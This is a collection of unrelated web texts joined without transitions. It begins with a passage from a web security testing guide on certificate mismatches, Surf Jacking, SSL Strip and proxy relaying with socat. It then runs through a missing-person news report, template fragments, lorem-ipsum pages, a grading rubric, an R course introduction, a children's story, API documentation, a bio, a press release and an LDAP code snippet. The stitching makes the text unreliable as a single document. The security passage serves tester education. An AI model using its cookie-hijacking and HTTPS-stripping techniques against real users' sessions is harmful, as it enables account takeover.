Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company.
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.
Testing for other vulnerabilities
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.
Surf Jacking
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.
The following is a scenario of how the attack can take place:
- Victim logs into the secure website at https://somesecuresite/.
- The secure site issues a session cookie as the client logs in.
- While logged in, the victim opens a new browser window and goes to http:// examplesite/
- An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.
- The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.
- The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text
- The attacker sees this traffic and logs the cookie for later use.
To test if a website is vulnerable carry out the following tests:
- Check if website supports both HTTP and HTTPS protocols
- Check if cookies do not have the “Secure” flag
SSL Strip
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.
Testing via HTTP proxy
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.
Example 8. Testing via HTTP proxy
To connect to destined.application.lan:443 via proxy <IP_ADDRESS>:3128 run socat as follows:
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:<IP_ADDRESS>:destined.application.lan:443,proxyport=3128
Then the tester can target all other tools to localhost:9999:
$ openssl s_client -connect localhost:9999
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.


Some online speculation about Trevor Deely's disappearance is "outrageous", sister says
by Stephen McNeiceThe sister of Trevor Deely has said some of the online speculation about her brother's disappearance is "outrageous" and needs to be toned down "several notches".
22-year-old Trevor went missing from Dublin city centre on December 7th 2000.
He was last seen on CCTV in the early hours of the morning after attending a work Christmas party.
Over the weekend, gardaí issued a fresh appeal for information on the 19th anniversary of Trevor's disappearance - saying that even the smallest piece of information may assist the investigation.
Speaking on the Pat Kenny Show today, Trevor's sister Michele says the family has kept trying different ways to find Trevor but they keep 'coming up blank'.
She observed: "We've done a huge amount of work... but all that work, in a way, is coming to haunt us - it's really becoming a very difficult item for the family when we think about speculation."
Michele said speculation does happen in the media, but it's "rare" - suggesting that it's the online speculation that needs to "come down several notches".
She observed: "You'd want to read what people write online - it is outrageous.
"At some stage I do think there has [...] something - I don't if it's a ruling or something [like that] - that doesn't allow that occur.
"There's a lot of speculation around Trevor going to Alaska - that was the trip of a lifetime for him... He came home a couple of weeks prior to him going missing - it has nothing to do with anything."
She added: "There's lots of theories - [like] Trevor went to Alaska, got caught up in something and somebody followed him back and did something to him.
"He was a simple guy... he was an entry level IT worker. And [yet] people have him caught up in this banking scam... [or] that he was involved in some crazy scheme, and that's why he was taken. It's crazy."
Michele added that she's been rejected by multiple social media companies when she's brought the concerns to them.
She told Pat: "I battle a lot to get the right facts out there, but it's actually really difficult."
Michele said there have been 'hundreds, if not thousands' of potential witnesses with potential sightings over the years.

"But we don't know when that is. As we sit here this morning, there is nothing proven... it feels like forever already.
"Trevor would never give up on us - that's our commitment. As difficult as it is to deal with the speculation... we won't give up. We have to keep fighting through it until we find him."
CCTV footage, which you can see below, shows the last known movements of Trevor Deely.
Footage of the rear entrance of the premises at 3:35am shows an unknown man talking with Trevor at the back gate.
This man has never been identified.
Trevor was last seen on CCTV passing the since-removed Bank of Ireland ATM on Haddington Road at 4.14am.
Around 30 seconds later, a man was captured on CCTV walking in the same direction as Trevor.
Gardaí at Pearse Street Garda station are appealing for any information that could assist the investigation into Trevor's disappearance.
Anyone with information is asked to contact Pearse Street Garda station on 01-666-9000, the Garda Confidential Line at 1800-666-111 or Crimestoppers on 1800-250-025.


Leaforg
Welcome to Leaforg,
Buy, Share & Sell Green Products
Leaforg® is a non-profit global marketplace for recycled materials and products. We are spearheading the effort to connect worldwide demand for sustainable materials with reputable providers.
Leaforg is initializing... Please wait..


{{ course.title }}
by {{ course.addedBy.get_full_name }}
Return
{% if chat.is_live %}
Live Session - {{ chat.timestamp|date:"F j, Y P" }}
{% else %}{{ unit.title }}
{% endif %}
{% if fsmstate or not chat.is_live %}
{% else %}
{{ unit.description }} Remember that it doesn't matter if your answers are correct on Courselets. They are only a starting point for learning more about a concept.
You will learn about
-
{% if will_learn %}
{% for title, url in will_learn %}
- {{ title }} {% endfor %} {% else %}
- No prerequisities {% endif %}
You need to know about
-
{% if need_to_know %}
{% for title, url in need_to_know %}
- {{ title }} {% endfor %} {% else %}
- No prerequisities {% endif %}
This is your history from your live session with {{ course.addedBy.get_full_name }} on {{ chat.timestamp|date:"F j, Y" }}. You can view your previous answers, but you can't submit new ones.
{% endif %}


--- layout: project_detail title: Deep Learning meta_content: Deep Learning detail description project_id: neuralnets project_title: Deep Learning project_tagline: tech ---
My career has been focused on developing and deploying machine learning systems (particulary with deep neural networks) from research to production systems, both in the cloud and on embedded systems.


Technologies used in the myExpressApp website
This web page is the public home page for the myExpressApp web site. The purpose is to showcase technologies used in the development of this site and provide a link for registered users to log in to the web apps.
-
Amazon Web Services (AWS)
The AWS Route 53 service was used to register the robweed.io domain and to configure a public hosted zone to route internet traffic to the web server. The web server is an AWS Elastic Cloud Computing (EC2) instance hosted in Northern California. The AWS Simple Storage Service (S3) is used for file storage.
-
Mobile Applications
Lorem ipsum dolor sit amet consectetur adipisicing elit. Corporis consequuntur facilis et debitis perferendis porro est assumenda, quae voluptate in!
-
Tech Marketing
Lorem ipsum dolor sit amet consectetur adipisicing elit. Corporis consequuntur facilis et debitis perferendis porro est assumenda, quae voluptate in!
We handle all of your digital needs
Lorem ipsum dolor sit amet consectetur adipisicing elit. Nihil laborum aliquid eius possimus tenetur vitae adipisci eveniet ea quisquam eos.
Contact robweed.io
Lorem ipsum dolor, sit amet consectetur adipisicing elit. Aut vero molestias eos consequuntur voluptates repudiandae quis consequatur quisquam inventore id!
<EMAIL_ADDRESS>About robweed.io
Lorem ipsum dolor sit amet consectetur, adipisicing elit. Expedita libero quas adipisci harum enim aut odit, temporibus quis incidunt molestias delectus nobis possimus doloribus corrupti, quos eligendi natus accusantium recusandae.


| Transactions | Requests and connection establishment |
|---|---|
|
Response time in msec for pages and transactions (a page is a group of requests not separated by a thinktime). Info » |
|
| Transactions | Requests |
|---|---|
| Network traffic | New Users |
| Simultaneous Users |
|---|
| CPU% | Free Memory |
|---|---|
| CPU Load | |


Localbin.xyz
{{ notes.length }}
Add
Upload
Delete
{{note.text}}
Created by
Vivek Sah
.
Take a look at my other projects
Follow @vksah32


Template for evaluating and grading projects, with grading scale based on achieved points
Evaluation of project number:
Name:
Abstract
Abstract: accurate and informative? Total number of possible points: 5
Mark and comments:
Introduction
Introduction: status of problem and the major objectives. Total number of possible points: 10
Mark and comments:
Formalism/methods: Discussion of the methods used and their basis/suitability. Total number of possible points 20
Mark and comments:
Code, implementation and testing
Code/Implementations/test: Readability of code, implementation, testing and discussion of benchmarks. Total number of possible points 20
Mark and comments:
Analysis
Analysis: of results and the effectiveness of their selection and presentation. Are the results well understood and discussed? Total number of possible points: 20
Mark and comments:
Conclusions
Conclusions, discussions and critical comments: on what was learned about the method used and on the results obtained. Possible directions and future improvements? Total number of possible points: 10
Mark and comments:
Overall presentation:
Clarity of figures, tables, algorithms and overall presentation. Too much or too little? Total number of possible points: 10
Mark and comments:
Referencing
Referencing: relevant works cited accurately? Total number of possible points 5
Mark and comments:
Overall
Overall mark in points (maximum number of points per project is 100) and final possible final comments
Grading of all projects
The final number of points is based on the average of all projects (including eventual additional points) and the grade follows the following table:
- 92-100 points: A
- 77-91 points: B
- 58-76 points: C
- 46-57 points: D
- 40-45 points: E
- 0-39 points: F-failed
General guidelines on how to write a report
Some basic ingredients for a successful numerical project
When building up a numerical project there are several elements you should think of, amongst these we take the liberty of mentioning the following:
- How to structure a code in terms of functions
- How to make a module
- How to read input data flexibly from the command line
- How to create graphical/web user interfaces
- How to write unit tests (test functions)
- How to refactor code in terms of classes (instead of functions only), in our case you think of a system and a solver class
- How to conduct and automate large-scale numerical experiments
- How to write scientific reports in various formats (LaTeX, HTML)
The conventions and techniques outlined here will save you a lot of time when you incrementally extend software over time from simpler to more complicated problems. In particular, you will benefit from many good habits:
- New code is added in a modular fashion to a library (modules)
- Programs are run through convenient user interfaces
- It takes one quick command to let all your code undergo heavy testing
- Tedious manual work with running programs is automated,
- Your scientific investigations are reproducible, scientific reports with top quality typesetting are produced both for paper and electronic devices.
The report: how to write a good scienfitic/technical report
What should it contain? A typical structure
- An abstract where you give the main summary of your work
- An introduction where you explain the aims and rationale for the physics case and what you have done. At the end of the introduction you should give a brief summary of the structure of the report
- Theoretical models and technicalities. This is the methods section
- Results and discussion
- Conclusions and perspectives
- Appendix with extra material
- Bibliography
Keep always a good log of what you do.
The report, the abstract
The abstract gives the reader a quick overview of what has been done and the most important results. Try to be to the point and state your main findings.
The report, the introduction
When you write the introduction you could focus on the following aspects
- Motivate the reader, the first part of the introduction gives always a motivation and tries to give the overarching ideas
- What I have done
- The structure of the report, how it is organized etc
The report, discussion of methods, implementation, codes etc
- Describe the methods and algorithms
- You need to explain how you implemented the methods and also say something about the structure of your algorithm and present some parts of your code
- You should plug in some calculations to demonstrate your code, such as selected runs used to validate and verify your results. The latter is extremely important!! A reader needs to understand that your code reproduces selected benchmarks and reproduces previous results, either numerical and/or well-known closed form expressions.
The report, results part
- Present your results
- Give a critical discussion of your work and place it in the correct context.
- Relate your work to other calculations/studies
- An eventual reader should be able to reproduce your calculations if she/he wants to do so. All input variables should be properly explained.
- Make sure that figures and tables should contain enough information in their captions, axis labels etc so that an eventual reader can gain a first impression of your work by studying figures and tables only.
The report, conclusions and perspectives
- State your main findings and interpretations
- Try as far as possible to present perspectives for future work
- Try to discuss the pros and cons of the methods and possible improvements
The report, appendices
- Additional calculations used to validate the codes
- Selected calculations, these can be listed with few comments
- Listing of the code if you feel this is necessary
You can consider moving parts of the material from the methods section to the appendix. You can also place additional material on your webpage or GitHub page..
The report, references
- Give always references to material you base your work on, either scientific articles/reports or books.
- Refer to articles as: name(s) of author(s), journal, volume (boldfaced), page and year in parenthesis.
- Refer to books as: name(s) of author(s), title of book, publisher, place and year, eventual page numbers


R-language
In this course, we will use the R language to summarise data, calculate statistics, and view trends and relationships in data. R is open-source (free) and incredibly versatile. I have used multiple languages, including SAS and SPSS, in my career; in my opinion, R is not only the cheapest, but the best, and I now use it exclusively and almost daily in my work.
R also has personal connections to Iowa State: Hadley Wickam, Carson Seivert, two authors of the R language, are Iowa State graduates.
We will use an application called R-Studio to work with R language. R Studio allows you to write and save scripts (code) to generate analyses. It also allows you to intersperse Markdown (html code) in between your statistical output so that you can explain and discuss your results. The beauty of Markdown is your report and your statistics are together in a single file; no cutting and pasting is needed between documents.
R is all about having options, and so with R-Studio you have the option of installing it on your laptop or, in case you are using a work laptop without administrative priviledges, you can also use a cloud site, R-Studio Cloud, to work with R and save your work.
I know that for most of you R (and coding itself) will be a new experience. I am sure the idea of coding will intimidate many of you. To head off your anxiety as much as possible, I offer this: I understand that coding is challenging. I spend my days making mistakes, searching for bugs, and looking up how to do something for the umpteenth time. If something confuses you, that is normal.
But I can also assure you that you will likely have an easy time remembering what functions to use. In other words, which code to use will not be the problem. Most of your bugs will be due to mispellings, forgetting to close a parentheses, or referring to a dataset by the wrong name, e.g. “soy_data” instead of “soybean_data”. And you will get better at avoiding these mistakes over time – there is not more to learn, just practice. Our exercises in R will be designed to give you that practice, and introduce new functions as slowly as possible.
At the end of this course, you will have not only your completed work, but the course materials themselves as a resource from which you can borrow code for future projects. There is no shame in copying lines of codes (or whole chunks of code) into your own original analyses. All of us data scientists do that, and it is one of the best ways to continue learning.
R is supported by many great books which may be accessed for free online, or purchased online for very reasonable prices. These may be used as references during the course, but also to continue learning for years to come. These include many references from bookdown.org:
- Introduction to Data Science: although there are many “Introduction to R” books, this one closely matches how we approach it in Agronomy 513. (https://rafalab.github.io/dsbook/)
- R Graphics Cookbook: a comprehensive explanation of how to create just about any plot you could ever imaging in R, mainly using the ggplot package. (https://r-graphics.org/)
- Geocomputation with R: The best book I have found for learning how to work with spatial data. (https://geocompr.robinlovelace.net/)
- Hands-On Machine Learning with R: I have not read this book, but it appears to be a robust and beautifully-illustrated guid to machine learning concepts in R. (https://bradleyboehmke.github.io/HOML/)


Bess ran. She had a date. She said, "I am late!  She ran from her home. She ran up the hill. She ran and ran. It made her legs sore. Bess got to the lake. She was alone. Bess dove in. She swam. She came up, and there were her pals. They said, "Are we late?"
in-context


Cloud Vision V1 API - Class Google::Cloud::Vision::V1::Feature (v0.6.4)
Reference documentation and code samples for the Cloud Vision V1 API class Google::Cloud::Vision::V1::Feature.
The type of Google Cloud Vision API detection to perform, and the maximum
number of results to return for that type. Multiple Feature
objects can
be specified in the features
list.
Inherits
- Object
Extended By
- Google::Protobuf::MessageExts::ClassMethods
Includes
- Google::Protobuf::MessageExts
Methods
#max_results
def max_results() -> ::Integer
Returns
-
(::Integer) — Maximum number of results of this type. Does not apply to
TEXT_DETECTION
,DOCUMENT_TEXT_DETECTION
, orCROP_HINTS
.
#max_results=
def max_results=(value) -> ::Integer
Parameter
-
value (::Integer) — Maximum number of results of this type. Does not apply to
TEXT_DETECTION
,DOCUMENT_TEXT_DETECTION
, orCROP_HINTS
.
Returns
-
(::Integer) — Maximum number of results of this type. Does not apply to
TEXT_DETECTION
,DOCUMENT_TEXT_DETECTION
, orCROP_HINTS
.
#model
def model() -> ::String
Returns
- (::String) — Model to use for the feature. Supported values: "builtin/stable" (the default if unset) and "builtin/latest".
#model=
def model=(value) -> ::String
Parameter
- value (::String) — Model to use for the feature. Supported values: "builtin/stable" (the default if unset) and "builtin/latest".
Returns
- (::String) — Model to use for the feature. Supported values: "builtin/stable" (the default if unset) and "builtin/latest".
#type
def type() -> ::Google::Cloud::Vision::V1::Feature::Type
Returns
- (::Google::Cloud::Vision::V1::Feature::Type) — The feature type.
#type=
def type=(value) -> ::Google::Cloud::Vision::V1::Feature::Type
Parameter
- value (::Google::Cloud::Vision::V1::Feature::Type) — The feature type.
Returns
- (::Google::Cloud::Vision::V1::Feature::Type) — The feature type.


about
My name's Josh and I'm a 20 year old freelance developer from Surrey, UK. I have a passion for all things IT, whether it be computers, programming, gaming or management. I do a lot of freelance work involving either Java or Web development, you can see examples of my previous work here.
I have a large sales based knowledge due to working within retail for over 3 years, within these positions I was able to very quickly move through the ranks to manager within a year. From here I created multiple performance trackers for the company that was then used at regional level, this helped me get noticed by the company and was moved into HQ within 2 years of working for the company.
As a hobby I collect rare clothes and sometimes sell them online via Depop.


Charles' Waitangi visit highlights Kāwanatanga as partner
by New Zealand Republic"Prince Charles’ visit to Waitangi today, the first by a Royal in a quarter-century, highlights Moana Jackson’s view that it is kāwanatanga that is the Treaty partner," said Lewis Holden, campaign chair of New Zealand Republic.
In 1994, Moana Jackson observed "Precedent is established that the effective party to the Treaty is actually kāwanatanga or government. So whether that government takes the form of a constitutional monarchy or a republic is irrelevant. They are still bound by the terms of the agreement signed in 1840."
“New Zealand Republic has a clear position on the Treaty: any republic legislation must include a Treaty clause, making it clear that nothing about the transition to a New Zealand head of state will affect the Treaty" concluded Mr Holden.


Traverse LDAP tree recursively
1 2 3 4 5 6 7 8 | $options = array(/* ... */);
$ldap = new Zend\Ldap\Ldap($options);
$ldap->bind();
$ri = new RecursiveIteratorIterator($ldap->getBaseNode(),
RecursiveIteratorIterator::SELF_FIRST);
foreach ($ri as $rdn => $n) {
var_dump($n);
}
|
The source code of this file is hosted on GitHub. Everyone can update and fix errors in this document with few clicks - no downloads needed.